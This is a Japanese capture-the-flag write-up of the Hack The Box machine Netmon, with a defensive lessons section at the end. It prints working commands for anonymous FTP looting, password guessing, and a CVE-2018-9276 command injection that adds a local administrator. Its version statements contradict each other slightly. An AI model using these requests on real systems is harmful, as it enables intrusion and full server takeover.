Hack The BoxのWriteup(Netmon)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Netmon — 全実行コマンド・実行結果レポート
Nmap スキャン
21/ftp, 80/PRTG, 135/139/445/5985
→
FTP匿名ログイン
C:\ドライブ全体が閲覧可能
→
user.txt 取得
Users\Public\Desktop\user.txt
→
PRTG設定バックアップ漏洩
Configuration.old.bak
→
パスワード年+1で推測
PrTg@dmin2019
→
CVE-2018-9276
通知機能コマンドインジェクション
→
管理者ユーザー作成
SYSTEM権限で net user実行
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.230.176
RESULT
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
5985/tcp open  wsman

HTTPバナー & FTP匿名アクセス確認

BASH
curl -sI http://10.129.230.176/
nmap -sV --script ftp-anon -p 21 10.129.230.176
RESULT
HTTP/1.1 302 Moved Temporarily
Server: PRTG/18.1.37.13946
Location: /index.htm

21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
🚨
重要発見: 80番はPRTG Network Monitor 18.1.37.13946 (既知の認証済みコマンドインジェクション脆弱性 CVE-2018-9276 の対象バージョン)、 21番はFTP匿名ログインが許可されている。
PHASE 2

FTP匿名ログイン → C:ドライブ全体の閲覧 → user.txt

FTPで匿名ログイン

BASH
ftp 10.129.230.176
# Name: anonymous / Password: (空でも可)
ftp> ls
RESULT
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
230 User logged in.
Users
Windows
inetpub
PerfLogs
Program Files
...
🚨
重大発見: FTPのルートがC:ドライブ全体になっている (単なる特定フォルダの共有ではない)。これによりファイルシステム全体を匿名で 読み書きできてしまう致命的な設定ミス。

user.txt の探索と取得

BASH
ftp> cd Users/Public/Desktop
ftp> get user.txt
RESULT
e75caee9e505548012667c75877b2421
ℹ️
Users\Public直下ではなくUsers\Public\Desktop配下に あることに注意(Windowsの共有デスクトッププロファイルの標準パス)。
user.txt
e75caee9e505548012667c75877b2421
PHASE 3

PRTG設定バックアップの漏洩 → パスワード推測 → ログイン

PRTG設定バックアップファイルの発見

BASH
ftp> cd "/ProgramData/Paessler/PRTG Network Monitor"
ftp> ls
ftp> get "PRTG Configuration.old.bak"
ftp> get "PRTG Configuration.old.bak"
BASH
grep -A2 -B2 "dbpassword" "PRTG Configuration.old.bak"
RESULT
<dbpassword>
PrTg@dmin2018
<!-- User: prtgadmin -->
</dbpassword>
✅
PRTG管理者の平文パスワードを発見: prtgadmin:PrTg@dmin2018。 ただしこのバックアップファイルは古く、現在のパスワードは既に変更されている可能性が高い。

「年を+1」したパスワードでログイン成功

BASH
# PrTg@dmin2018 でログインを試すと失敗する。バックアップ時期から
# 察するに年単位でパスワードを更新している可能性が高いため、年を+1して試す
curl -s -i http://10.129.230.176/public/checklogin.htm \
  --data-urlencode "username=prtgadmin" \
  --data-urlencode "password=PrTg@dmin2019"
RESULT
HTTP/1.1 302 Moved Temporarily
Location: /home
Set-Cookie: OCTOPUS1813713946=ezcwMDE5RERCLUM0MTYtNDMwNi05MjJELTI3M0YzMkNFODE4Rn0%3D; Path=/; HttpOnly
✅
ログイン成功: prtgadmin:PrTg@dmin2019 (2018→2019の年推測が的中)。 /homeへのリダイレクトとOCTOPUS<n>という名前の有効な セッションCookieが返ってきたことで認証成功を確認できる(ログイン失敗時は /public/checklogin.htm自身へ再リダイレクトされセッションCookieは付与されない)。
PHASE 4

CVE-2018-9276 — PRTG通知機能のコマンドインジェクション → root.txt

脆弱性の概要

NOTE
PRTG Network Monitor 18.1.37 より前のバージョンは、認証済み管理者が
「通知(Notification)」機能で"Execute Program"アクションを新規作成する際、
通知名などのパラメータをサニタイズせずバックエンドで実行するPowerShell
コマンドの組み立てに使っている。これにより管理者権限のWebセッションから
SYSTEM権限での任意コマンド実行が可能になる(認証後の権限昇格として機能)。

PRTGのコアサービス(PRTG Core Server)はWindows上でSYSTEM権限で動作して
いるため、通知テストをトリガーした際に実行されるコマンドもSYSTEM権限で
走る。

悪性Notificationの作成

BASH
curl -s http://10.129.230.176/editsettings \
  -H "Cookie: OCTOPUS1813713946=ezcwMDE5RERCLUM0MTYtNDMwNi05MjJELTI3M0YzMkNFODE4Rn0%3D" \
  -H "X-Requested-With: XMLHttpRequest" \
  --data-urlencode "name_=pwn" \
  --data-urlencode "active_=1" \
  --data-urlencode "schedule_=-1|None|" \
  --data-urlencode "postpone_=1" \
  --data-urlencode "summode_=2" \
  --data-urlencode "summarysubject_=[%sitename] x" \
  --data-urlencode "summinutes_=1" \
  --data-urlencode "accessrights_=1" \
  --data-urlencode "accessrights_201=0" \
  --data-urlencode "active_10=10" \
  --data-urlencode "address_10=Demo EXE Notification - OutFile.ps1" \
  --data-urlencode "message_10=abcd; net user prtgadm1n Pwn3d_2024! /add; net localgroup administrators prtgadm1n /add" \
  --data-urlencode "timeout_10=60" \
  --data-urlencode "objecttype=notification" \
  --data-urlencode "id=new" \
  --data-urlencode "targeturl=/myaccount.htm?tabid=2"
RESULT
{"objid": "2018"}
🚨
注入ポイント: message_10パラメータ(“Execute Program”アクション 用のOutFile.ps1へ渡すメッセージ)に、PowerShellのコマンド区切り文字である ;を使ってnet user ... /add と net localgroup administrators ... /add を追記している (&ではなく;である点に注意 — バックエンドがPowerShellとして 実行するため)。作成した通知のobjid(2018)がレスポンスで返る。

通知テストをトリガーしてコマンドを実行

BASH
curl -s http://10.129.230.176/api/notificationtest.htm \
  -H "Cookie: OCTOPUS1813713946=ezcwMDE5RERCLUM0MTYtNDMwNi05MjJELTI3M0YzMkNFODE4Rn0%3D" \
  -H "X-Requested-With: XMLHttpRequest" \
  --data-urlencode "id=2018"
⚠️
ハマりポイント: このエンドポイントへのリクエスト自体は即座に200を返すが、 実際にバックグラウンドで通知アクション(= PowerShellコマンド実行)が処理されるまでには 数秒〜10秒程度のタイムラグがある。ユーザー作成確認は少し待ってから行うこと。

作成された管理者ユーザーの確認 & root.txt 取得

BASH
# 数秒待ってから新規作成した管理者アカウントでSMB認証を確認
nxc smb 10.129.230.176 -u prtgadm1n -p 'Pwn3d_2024!' --local-auth
RESULT
SMB  10.129.230.176  445  NETMON  [*] Windows Server 2016 Standard 14393 x64 (name:NETMON) (domain:NETMON)
SMB  10.129.230.176  445  NETMON  [+] NETMON\prtgadm1n:Pwn3d_2024! (Pwn3d!)
BASH
nxc smb 10.129.230.176 -u prtgadm1n -p 'Pwn3d_2024!' --local-auth \
  -x 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
e82fb037f87e6f51708fbe11383b9656
✅
権限昇格成功! CVE-2018-9276でSYSTEM権限により作成した prtgadm1nはadministratorsグループに所属しているため、 SMB経由のコマンド実行(-x)でAdministratorデスクトップのroot.txtを 直接読み取れる。evil-winrmでの対話シェル取得も同様に可能。
root.txt
e82fb037f87e6f51708fbe11383b9656
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt
e75caee9e505548012667c75877b2421
root.txt
e82fb037f87e6f51708fbe11383b9656

使用した脆弱性・設定不備

脆弱性/不備 対象 影響 深刻度 利用方法
FTP匿名アクセス + C:ドライブ丸ごと共有 Microsoft ftpd (21/tcp) ファイルシステム全体の情報漏洩 Critical 認証不要でuser.txtやPRTG設定バックアップを含む全ファイルを取得
設定バックアップの平文パスワード + 推測可能な更新規則 PRTG Configuration.old.bak 現行の管理者パスワードの特定 High バックアップの平文パスワードの「年」部分を+1して現行パスワードを推測
CVE-2018-9276 PRTG Network Monitor < 18.1.39 (通知機能) 認証後のコマンドインジェクション (SYSTEM権限) Critical “Execute Program”通知作成時のmessageパラメータにPowerShellコマンドを注入し、notificationtest.htmでトリガー

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポートスキャン21/ftp, 80/http(PRTG 18.1.37), 135/139/445/5985
2初期アクセスFTP匿名ログイン(C:ドライブ丸ごと)user.txt 取得
3資格情報設定バックアップの平文パスワード + 年推測prtgadmin:PrTg@dmin2019
4権限昇格CVE-2018-9276 通知機能コマンドインジェクション管理者ユーザー prtgadm1n 作成
4フラグ取得SMB経由コマンド実行root.txt 取得

学んだ教訓 & 防御策

問題点防御策
FTPサーバーが匿名ログインを許可し、しかもルートがC:ドライブ全体になっている FTP匿名アクセスを無効化する。有効にする場合でも、公開してよい特定フォルダのみに chroot/jailし、システムドライブ全体へのアクセスを絶対に許可しない。
設定バックアップファイルが読み取り可能な場所に残り、平文パスワードを含んでいる 設定バックアップはアクセス制限されたディレクトリに保管し、機密情報(パスワード等)は 暗号化する。古いバックアップは定期的に削除する。
予測可能なパスワード更新パターン(年のインクリメントのみ) パスワードローテーション時は単純な年号変更ではなく、十分なエントロピーを持つ ランダムなパスワードに完全に入れ替える。
PRTGが既知のCVEを含む古いバージョンのまま運用されている 監視ソフトウェアのような特権的に動作するミドルウェアは特に優先してパッチ適用する。 CVE-2018-9276は18.1.39で修正済みのため最新版へのアップデートが必須。
HackTheBox: Netmon | 完全攻略レポート